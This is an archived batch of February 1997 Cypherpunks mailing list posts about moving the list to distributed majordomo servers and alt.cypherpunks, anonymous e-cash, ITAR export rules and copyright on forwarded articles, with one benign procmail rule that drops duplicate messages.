To: Cypherpunks <cypherpunks@manifold.algebra.com
Subject: How to make majordomo request confirmations of subscriptions?
Message-ID: <199702130511.VAA29241@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi All,

I would like to set up my majordomo to request subscription
confirmations from users, by sending them a cookie. Looking at the
majordomo config files, I have not found such option.

Ideally I would like to have a system that a) requires the
new users confirm new subscriptions and b) once in a while
as users to confirm their existing subscriptions.

Is there any way to do it?

Thank you.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 22:26:27 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: anonymity and e-cash
Message-ID: <199702130626.WAA04490@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:59 PM 2/12/97 -0800, Hal Finney wrote:
>From: tcmay@got.net (Tim May)
>> You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday
>> Cypherpunks meeting at Stanford, where Ian talked for more than an hour on
>> just this issue. (He also talked for an hour on his crack of the RSA
>> challenge using 250 workstations...this was also a good talk.)
>
>I wish I could have heard that, it sounds good...
>
>A simple idea we have discussed for full anonymity uses the idea of
>exchanging coins at the bank.  You make an anonymous connection to
>the bank, supply some ecash you have received along with some blinded
>new ecash.  The bank verifies that the ecash is good and signs your
>blinded ecash, sending it back to you.  You unblind it and have good,
>fresh smelling ecash which you can keep, spend, or later deposit in
>your account.
>
>If the merchant performs this exchange operation on-line as soon as
>he receives ecash, then his anonynmity is protected.  The customer is
>protected too, by the blinding he used when he withdrew the ecash earlier.
>So both sides remain anonymous.
>
>It sounds like Ian may have worked out details of a system where third
>parties do these exchanges.  Banks may be reluctant to allow them for
>liability reasons, and the market, abhoring the vacuum, will supply
>intermediaries who perform exchanges for a fee.
>
>Resolving the various forms of cheating is the hard part.  When Lee asks
>about a signed receipt, it is hard to understand what is the point if the
>seller is fully anonymous!  A signed receipt from a freshly-minted key
>is not of much use to anyone.
>
>If the participants are using persistant pseudonyms then whatever
>reputation capital they have can be put on the line when cheating happens,
>although it still may be hard to tell who cheated whom.  Did the customer
>pass bad cash and claim it was good, or did the merchant deposit good
>cash and claim it was bad?
>
>The same thing could happen every day at the supermarket, of course.
>A customer insists they paid $20 but got change for a $10.  If dozens of
>customers say the same thing has happened to them, we start to mistrust
>the market, while if several businesses say this particular customer
>has made the same claim to them, we blame the customer.

Here is another idea.
The merchant and customer agree on a price, with the merchant knowing that
the "bank" will take a cut for their services.
The merchant and customer both LOG IN to the bank seperately, each type in
their agreed upon price and cut & paste in the services rendered
information.  If they match, the bank makes the necessary transaction
between the accounts, e-cash stash, etc.  The bank also supplies both
parties with a clear signed receipt.  The bank can now no longer alter the
receipt, as the merchant and customer both have a copy.  And the customer
and merchant can not alter the receipt, because then it would fail the test
on the signature.
If a receipt for a transaction number were used, then the only threat would
be the same one that exists for remailer operators.  This could be negated
by daisy-chaining banks in a similair manner.  If each bank took a cut of
non-customers of $.0002 or .02% of the transaction, whichever was greater,
then a suitable system could be set up.

Another idea that has been festering.  If we could get a CPA involved in
this forum, I would be willing to have h[im/er] sign my key, (which is
seldom used, mostly because this is the only place I use e-mail), for that
reasonable fee that CPA's can charge.  I know that it is not a standard, or
even legally recognized, post for CPA's, but I think that enough people
would trust them.
This would take care of some of the "newly minted" key problems.  Since
getting someone who is trusted to sign your key is a recognized method of
getting people to believe you are who you say you are.  Just an idea.
Actually two, one half thought out, one that has been bugging me.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 21:15:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer
Message-ID: <199702130515.VAA29506@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> 
> Hi,
> 
> We have established the first link between cypherpunks@ssz.com and
> cypherpunks@algebra.com. Testing will continue for about 24 hours and we
> hope to have the link going two-way within a couple of days.
> 
> If testing proceeds at the current pace we should be ready to go for a 3-way
> link if anyone will be ready this weekend. If we can get a 3-way going we
> should be ready for prime time.


Jim,
  I suggest getting in touch with Lance Cottrell (loki@Cyberpass.net)
ASAP and coordinating with him as he has the facilities to host the
entire list, but desires the distributed approach.  He is currently
gating Cypherpunks-unedited@toad.com to subscribers of
cypherpunks@Cyberpass.net.  He would make an excellent third link in
the chain and seems to be willing.

Furthermore, he has also indicated that he is eventually interested in
gating back and forth to the newly created and already-active
alt.cypherpunks.  He needs help and information on just how to do
that, though.  This would complete the circle, syncing all the
available routes to cypherpunks.  All will benefit by having the
choice of mail-filters and/or newsreading facilities to experience the
unfiltered/unedited/unstoppable list.

Hope the experiments prove sturdy and wish all best of luck.

me

-- 
_______________________________________________________________
 Omegaman <mailto:omegam@cmq.com>
  PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2
                        59 0A 01 E3 AF 81 94 63 
 Send e-mail with "get key" in the "Subject:" 
 field to get a copy of my public key
_______________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 21:13:29 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: anonymity and e-cash
Message-ID: <199702130513.VAA29421@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


	In fact, the Identity Agnostic bits were Doug's, and they were
focused on the idea that a bank that did not implement blinding could
be used in an anonymous fashion by someone willing to violate the
patents.

	/*  Blind(*coin) here would violate Chaum's patent, so we
	 *  can't do that 
	 */

Adam

Tim May wrote:

| At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks@toad.com list):

| In August of '95, Doug Barnes released a long article on "Identity
| Agnostic" systems. (His article is no longer at the www.communities.com Web
| site, so I can't refer you to it. Maybe he'll post it again.)

| In fact, Ian showed, the Chaum patents on blinding are NOT USED by the
| Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in
| some cases, not in other cases). This means that "anyone a mint" does not
| violate any of the Chaum/Digicash patents, and "mint clients" are likely to
| be written by third parties. (The _customer_ is presumably on the honor
| system to abide by the Chaum patents...except the patents are only being
| licensed to banks...go figure.)
| 
| (This is where, as I recall, Doug's "agnostic" system came in...it is
| possible his thinking was similar to Ian's...I don't have Doug's paper
| handy.)



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Wed, 12 Feb 1997 22:28:04 -0800 (PST)
To: Benjamin Grosman <bgrosman@magna.com.au>
Subject: Re: Transmission of Crypto material and ITAR
Message-ID: <199702130628.WAA04590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Unless someone in the U.S. is willing to go to the effort of capturing all
of the packets that comprise the crypto software package as they pass
through various MCI, Sprint, etc. networks (which is probably illegal in
itself, in most cases), on their way from the UK to your site in Australia
and then reassembling them in the U.S. into something that is in violation
of the export regulations, what difference does the path of the individual
packets make?

At 01:15 PM 2/13/97 -0800, you wrote:
>Dear All,
>
>I have a question regarding the impossible enforcement of ITAR/EAR:
>Naturally I cannot download crypto software from the US, but most of these
>sites have mirrors in other countries, such as the UK for PGP, and sweden
>and finland for lots of things.
>
>However, with the way that information is routed throughout the internet
>from these sites, whenever I, in Australia, request packets containing this
>data from the UK etc, it invariably passes through the US from coast to
>coast! Therefore, if ITAR/EAR tries to govern that, aren't they really
>trying to enforce something totally unenforcable? Surely they cannot expect
>all gateways operated by, say, Sprint and MCI to packet sniff 'n' search? 
>
>Can anyone tell me what the ruling is with regards to this?
>
>Yours Sincerely,
>
>Benjamin Grosman
>
>----------------------------------------------------------------
>  Benjamin Grosman - Programmer, Magna Data Internet Solutions
>  Quidquid latine dictum sit, altum viditur.
>                  [Whatever is said in Latin sounds profound.]
>----------------------------------------------------------------
>
>
>
>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Wed, 12 Feb 1997 21:13:30 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702130513.VAA29426@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


       Zip,NAda,Nothing. And they have more too. They were backlogged so
some people haven't gotten their mail since I last posted about. I called
yesterday about my videos and posters and lo and behold I received my two
tech manuals today.
       The people who answer the lines are friendly and usually pretty
industrious in getting things out or done.
       By the way there is supposed to be a department split in the near
future so I don't know if manuals will be in one department and posters in
another or what.



On Wed, 12 Feb 1997, Tobin Fricke wrote:

> Date: Wed, 12 Feb 1997 18:03:35 -0800
> From: Tobin Fricke <tobin@edm.net>
> To: Moroni <moroni@scranton.com>, Genocide <gen2600@aracnet.com>
> Cc: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: Re: NSA Rainbow Series.
> 
> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 22:28:08 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: subscribe
Message-ID: <199702130628.WAA04598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:48 PM 2/12/97 -0600, Igor Chudov wrote:
>Jim Choate wrote:
>> 
>> 
>> Hi Igor,
>> 
>> > I will not impact me negatively. I do, however, suggest very strongly
>> > that hosts should be subscribed to each other thgrough another mechanism
>> > and not majordomo, in order to prevent mail loops, header rewriting and
such.
>> 
>> Suggestions? What I had in mind was that any messages that get sent on
>> cpunks@ssz.com get sent over to algebra. One mechanism I would like to play
>> with is a 'linked list' of remailers. Remailer A sends only to B and
>> receives only from C...
>> 
>> 
>>                                A
>>                              ^   v
>>                              C < B
>
>> Then to stop loops B deletes all outgoing mail from B. Since email can be
>> forwarded from many sites the search must traverse the entire forward chain
>> killing the message if B appears as a source. I suspect a simple procmail
sort
>> can accomplish this. My next step is to brush up on my procmail. I hope to
>> have something in a couple of days that will allow you to subscribe
>> cpunks@algebra to cpunks@ssz and both ends will be filtering.
>
>Here's how I do it (it is pretty close to your proposal): 
>
>1) I delete duplicate messages (by looking up the database of
>message-IDs) right away
>2) I bounce all incoming messages to several other list servers
>3) I pipe the article to majordomo for distribution.
>
>Note that majordomo changes headers and I wuold like to feed
>other servers with UNCHANGED articles.
...
>> Another nice advantage of this architecture is that 'rings' of remailers can
>> be interconnected by simply sending output to more than one site. Might even
>> be a good stability rule, "Never have a remailer send to more than 1 machine
>> in its 'own' ring". I see no limit other than resources that would limit the
>> number of rings an individual remailer might be in.
>
>A very good point.
>
...
Something to consider.  If anyone of the distributed remailers is removed
from a ring, the messages that need to travel across that ring can no longer
do that.  This makes the loop only as strong as its most at risk remailer.
The star approach has already been seen in action, the trouble here is a
single choke point.
Full interconnectability is only feasible in a small net, but I would advise
this at first.  Check for the x-loop to see if another one got it first.  If
none, add one and send it on down the line.
A disjointed mess, if the remailers are given first access to the list,
could work quite well as long as that x-loop remained to point to who sent
the message, and the x-loop contained an unalterable message number, and the
remailers could eliminate duplications, probably based on message number.
This should work as the net grows and would only be as weak as the strongest
two connected remailers.
Sounds like the internet.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 12 Feb 1997 21:13:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newgroup -- distributed mailing list on the way?
Message-ID: <199702130513.VAA29428@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message is a courtesy copy of an article
that has been posted as well.

It appears that the distributed mailing-list effort is well underway.
Experiments by Igor Chudov and Jim Choate are progressing.  The next
few weeks should iron out the kinks.(over-optimism?)

Lance Cottrell (mixmaster author) has also agreed to host the list,
the entire list if need-be.  Although his posts on the cypherpunks
list indicate that he favors the distributed list approach.  Lance is
also in the unique position of having the computing resources to feed
the list to and from alt.cypherpunks.  

Furthermore, Lance seems to be favorable to this idea as well.
However, he needs help in getting up to speed on just how to create
and run this news-to-mail/mail-to-news gateway.

What this means is that the same list will be propagated through
multiple sources, making the destruction or loss of any one source
non-catastrophic.  It is also the classic net approach of routing
around censorship channels.  Furthermore, users who cannot access the
alt.* hierarchy or easily read newsgroups have the option of
subscribing to mailing lists and receiving the same uncensored feed.

This also means that users will have a maximum amount of resources at
their disposal to better experience the list and eliminate the net's
inevitable spam and noise.  Users who have access to or prefer
powerful newsreaders and NoCeM's can use them at will.  Users who have
procmail, Pegasus Mail, Eudora Mail and other email-filtering schemes
can use those powerful tools.

It is likely that the cypherpunks list/group will remain a target of
spammers and disruptors.  The controversial topics are bound to
generate noise.  The entrance of unitiated individuals via Usenet is
bound to create some interesting and sometimes aggravating discussions
as well as the inevitable re-hashing of some old issues.  

The unfiltered, uncensored, and multi-homed list/group leaves the
responsibility where it belongs, in the lap of end-user.  Ignore the
noise and the noisemakers.  Defeat the disruptors by avoiding them.
Accept your responsiblity and contribute Signal whenever you can.

"Arise!  You have nothing to lose but your barbed-wire fences."

git along 'lil doggies





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 22:55:56 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702130655.WAA06383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dr.Dimitri Vulis KOTM wrote:
> > "Timothy C. May" <tcmay@got.net> writes:
> > > At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:

> > > >If the people decide for creation of a new USENET newsgroup,
> > > >we need to think very hard about actually moving it to a different
> > > >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> > > >comp.cypherpunks, sci.crypt.cypherpunks or something like that.

> It is too late to stop alt.cypherpunks, but if I had to make a
> prediction again, I would predict that soon posters will BEG to help
> them create comp.*.cypherpunks, because of spam and alt.flamage.

I would lean toward sci.crypt.cypherpunks myself.  Are there any
implications in the use of that name as to restrictions, etc.?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 21:15:17 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Network of majordomos (fwd)
Message-ID: <199702130515.VAA29507@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan,

What you did may be the ideal way to go actually. It would be
great to have several NNTP servers with these (or similarly named)
groups open to the world. I believe that it is possible to set 
them up such that they feed each other.

say, the following groups may be good:

cypherpunks.crypto
cypherpunks.politics
cypherpunks.flames
cypherpunks.products
cypherpunks.pgp (sort of redundant with the pgp newsgroups)
cypherpunks.groups
cypherpunks.admin
cypherpunks.kooks
cypherpunks.remailers
cypherpunks.paranoia (or cypherpunks.tla)
cypherpunks.politics.assassination
cypherpunks.censorship

(the following part is more questionable as some people would argue in
favor of nocems)

cypherpunks.moderated.sandy-sandfort
cypherpunks.moderated.ray-arachelian
cypherpunks.moderated.tim-may
cypherpunks.moderated.... whoever else wants ...


igor

Bryan Reece wrote:
> 
>    Date: Wed, 12 Feb 1997 14:33:03 -0800
>    From: Greg Broiles <gbroiles@netbox.com>
> 
>    Yes, I installed INN and ran a few hundred test messages through it last
>    night. My machine will be on the net full-time Thursday or Friday. Will yours
>    be ready then, too? 
> 
> We've got INN here. I created a cpunks.general group (as well as
> alt.cypherpunks) on taz.nceye.net and made both world-accessible.  Our
> feed hasn't got alt.cypherpunks yet; is someone who has got it willing
> to feed it?  (also, is there a consensus on what group names to use:
> new top-level hierarchy? cpunks or cypherpunks? or just the alt group,
> with the usual propagation and spam problems?)
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Thu, 13 Feb 1997 06:43:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymity and e-cash
Message-ID: <199702131443.GAA01435@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Sean Roach <roach_s@alph.swosu.edu>
> Here is another idea.
> The merchant and customer agree on a price, with the merchant knowing that
> the "bank" will take a cut for their services.
> The merchant and customer both LOG IN to the bank seperately, each type in
> their agreed upon price and cut & paste in the services rendered
> information.  If they match, the bank makes the necessary transaction
> between the accounts, e-cash stash, etc.

This provides no anonymity with respect to the bank, right?  The bank
knows who is paying whom.  That's not very valuable IMO.  The bank is
still a centralized place where all this transaction information exists,
a fat target for privacy opponents.  I'd say that anonymity to the
bank is more important than anonymity to the merchant for this reason.
So I think you're going at this backwards.

> Another idea that has been festering.  If we could get a CPA involved in
> this forum, I would be willing to have h[im/er] sign my key, (which is
> seldom used, mostly because this is the only place I use e-mail), for that
> reasonable fee that CPA's can charge.  I know that it is not a standard, or
> even legally recognized, post for CPA's, but I think that enough people
> would trust them.

The big question with identity certificates is what procedures were followed
in verifying the identity when the cert was issued.  If the CPA publishes
some standard method, and his reputation is strong enough that people will
trust him to follow it, then it might well be worth money to you to have
him sign it.  This is the traditional role of the Certification Authority.

> This would take care of some of the "newly minted" key problems.  Since
> getting someone who is trusted to sign your key is a recognized method of
> getting people to believe you are who you say you are.

It depends on the circumstances where you expect to use your key.  Within
a small to medium circle of associates there may be some group members
who sign keys and are trusted by other members of the group.  There is
no particular reason for it to be difficult.  If you want a signature which
will be accepted by everyone in the U.S. you have a harder problem.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 21:11:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property rights on cypherpunks (fwd)
Message-ID: <199702130511.VAA29300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Private property rights on cypherpunks

> I forward articles to cypherpunks that are copyrighted by my employers, or
> magazines like Playboy and Wired for which I write freelance pieces. 
> 
> I like to think these articles have some value. I will not forward any of
> them, nor would I be able to, if they magically became "public domain."
> 
> "De facto public domain" is an idea that deserves to die. Now.

Really? Do you have a priori permission from your publisher, who owns those
stories, to distribute them elsewhere?

If not please explain why I or any other person should be a willing
acomplice? You could also still post them anonymously. You could also
simply include a 'fair use' proviso somewhere.

In such a case it would be in your publishers best interest to require a
copyright notice. In that case there is no confusion about who owns those
rights. Especialy when you consider the traffic is global which means your
'implied copyright' here don't mean squat there. I suspect just about
every place that recognizes a copyright recognizes an explicit one.

Instead of "De facto public domain should die" how about,

"Implied a priori contracts should die now"

Lord a mighty, haven't you heard? Information wants to be free. Let the
thing go. If you really think your words are something that will someday win
a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
it would seem to me that implicit copyright works against the axiomatic
crypto-icon.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 21:13:29 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Private property rights on cypherpunks
Message-ID: <199702130513.VAA29422@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I forward articles to cypherpunks that are copyrighted by my employers, or
magazines like Playboy and Wired for which I write freelance pieces. 

I like to think these articles have some value. I will not forward any of
them, nor would I be able to, if they magically became "public domain."

"De facto public domain" is an idea that deserves to die. Now.

-Declan


On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Tue, 11 Feb 1997 22:46:03 -0800
> > From: Greg Broiles <gbroiles@netbox.com>
> > Subject: List for discussing many majordomos
> 
> > Yes, this is a good idea. One of the proponents of the "many majordomos"
> > project apparently has plans to impose his own ideas about intellectual
> > property on the project, and this seems like a pretty serious thing for a
> > setup that's allegedly going to prevent censorship. We need a place to
> > discuss this.
> 
> Please explain how making submissions de facto public domain censors
> anyone?
> 
> 
>                                                      Jim Choate
>                                                      CyberTects
>                                                      ravage@ssz.com
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 21:11:49 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702130511.VAA29292@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
| 
| Forwarded message:
| 
| > Date: Wed, 12 Feb 1997 14:22 EDT
| > From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
| 
| > 	Umm... because you'll eventually accumulate _lots_ of addresses
| > that don't work, which will slow things down tremendously in sending
| > mail out?
| 
| The current subscription is between 1,000 and 2,000 I don't think that is
| _lots_. All we need to do is count the number of bounces per address in
| a given period, the SSZ end is trying to decide between weekly or
| monthly cleanings, and then clear that address. At no point would I need
| to archive the original bounce.

qmail has bounce management software for its list management tools.
(bounceman) "Russell Nelson has a bounce manager which <b>totally</b>
eliminates any need to deal with bounces."

www.qmail.org




-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 12 Feb 1997 21:13:21 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702130513.VAA29411@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Aleph1 (Levy) is a grey hatted hacker.  Amongst other things, he
moderates the bugtraq mailing list.  Decent fellow.

Adam


Anil Das wrote:
| With all this talk about relocating the home of cypherpunks, I decided to
| see if any second level domains are registered under the cypherpunks
| name.
| 
| Both cypherpunks.org and cypherpunks.com are registered by one
| Elias M. Levy in Ft. Meade, MD. I haven't seen his name on the list
| though. Anybody knows more about this?
| 
| --
| Anil Das
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Thu, 13 Feb 1997 06:41:04 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Procmail during the transition, anyone?
Message-ID: <199702131441.GAA01300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:
> 
> At various stages in the transition, we will be getting multiple copies of
> the same messages as the are re- cross- whatever-posted to lists,
> newsgroups and anything else handy.
> 
> Anyone have a procmail script that will show me just ONE copy of messages,
> even if the headers are not identical (e.g. one looped, another was
> forwarded, etc.)?
> 

# Remove duplicate messages
:0 Wh: .msgid.lock
| formail -D 8192 .msgid.cache


It detects duplicates by Message-Id.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 12 Feb 1997 21:11:55 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: New group
Message-ID: <199702130511.VAA29299@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

paul@fatmans.demon.co.uk writes:
<snip>
> > I pressed the URL alt.cypherpunks and my Netscape server said
> > "no such thing" or words to that effect.
> 
> The control message may take a few more hours to propogate, either 
> that or your newsadmin has rmgrouped it. The charter was clear and 
> concise and explained the issues so I don`t see why it should have 
> been rmgrouped. Can you mail me if it hasn`t been created by the time 
> you get this email and I`ll re-issue the cmsg. However, I`m sure it 
> was OK as Robert Hettinga (sp?) found it on his news server today...

Yet another "me too,"
alt.cypherpunks is alive (dunno about well, time shall tell) on my
news server.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwKe2Mkz/YzIV3P5AQGQYQMAkwiuqAV/PsdcCscHVbsT6rxoKMv63UQh
ebBIUh9QnXxVqjxcv3dvoanYGrP1Ldyvza9GXgLlTBIwtAuC+Od026mcV0NljUT/
9WSg3iaHdUBReHpXbTsOVF+a9lQp4fzP
=Hfgq
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 17:02:20 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Network of majordomos
Message-ID: <199702130102.RAA11047@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> What was your chater?  Could you Cc a copy to the list?

I didn`t save it but it was something along the lines of this:

Charter:

alt.cypherpunks will serve as a discussion forum for the members of 
the cypherpunks community. The discussion group previously resided on 
a mailing list run at toad.com but due to a difference of opinion 
between the majority of active members of the list and the owner of 
toad.com, John Gilmore, the list must now relocate onto usenet as a 
temporary measure while further measures are put in place to 
re-establish a mailing list format. The group has approximately 1500 
members and has been active online for some 5 years.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 12 Feb 1997 22:26:21 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: subscribe
Message-ID: <199702130626.WAA04481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> ...
> Something to consider.  If anyone of the distributed remailers is removed
> from a ring, the messages that need to travel across that ring can no longer
> do that.  This makes the loop only as strong as its most at risk remailer.
> The star approach has already been seen in action, the trouble here is a
> single choke point.
> Full interconnectability is only feasible in a small net, but I would advise
> this at first.  Check for the x-loop to see if another one got it first.  If
> none, add one and send it on down the line.
> A disjointed mess, if the remailers are given first access to the list,
> could work quite well as long as that x-loop remained to point to who sent
> the message, and the x-loop contained an unalterable message number, and the
> remailers could eliminate duplications, probably based on message number.
> This should work as the net grows and would only be as weak as the strongest
> two connected remailers.
> Sounds like the internet.
> 

I'd suggest a simplier solution: to connect each server with a couple,
or maybe three, other servers. This scheme is rather robust, does not
consume too much CPU time and bandwidth, and is easy to implement.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 12 Feb 1997 22:26:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property rights on cypherpunks (fwd)
Message-ID: <199702130626.WAA04488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


While I'm not entirely unsympathetic with the notion that "information
should be free," your statements below are rather incoherent.

For purposes of analysis, let's talk about a story I report and write
myself. Depending on the article and travel involved, I may have spent
hundreds of dollars working on it. I am unwilling to donate those efforts
to the "public domain" every time; I may later want to sell the article to
recoup my costs. Think property rights. (Of course, I admit the need for
broad fair use rights as well.) 

"De facto public domain" is an idea that deserves to die. Now.

-Declan



On Wed, 12 Feb 1997, Jim Choate wrote:

> 
> Forwarded message:
> 
> > Date: Wed, 12 Feb 1997 22:58:42 -0500 (EST)
> > From: Declan McCullagh <declan@pathfinder.com>
> > Subject: Private property rights on cypherpunks
> 
> > I forward articles to cypherpunks that are copyrighted by my employers, or
> > magazines like Playboy and Wired for which I write freelance pieces. 
> > 
> > I like to think these articles have some value. I will not forward any of
> > them, nor would I be able to, if they magically became "public domain."
> > 
> > "De facto public domain" is an idea that deserves to die. Now.
> 
> Really? Do you have a priori permission from your publisher, who owns those
> stories, to distribute them elsewhere?
> 
> If not please explain why I or any other person should be a willing
> acomplice? You could also still post them anonymously. You could also
> simply include a 'fair use' proviso somewhere.
> 
> In such a case it would be in your publishers best interest to require a
> copyright notice. In that case there is no confusion about who owns those
> rights. Especialy when you consider the traffic is global which means your
> 'implied copyright' here don't mean squat there. I suspect just about
> every place that recognizes a copyright recognizes an explicit one.
> 
> Instead of "De facto public domain should die" how about,
> 
> "Implied a priori contracts should die now"
> 
> Lord a mighty, haven't you heard? Information wants to be free. Let the
> thing go. If you really think your words are something that will someday win
> a Nobel or make Mr. Bill look like a pauper note it explicitly. However,
> it would seem to me that implicit copyright works against the axiomatic
> crypto-icon.
> 
> 
>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 06:41:13 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702131441.GAA01329@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


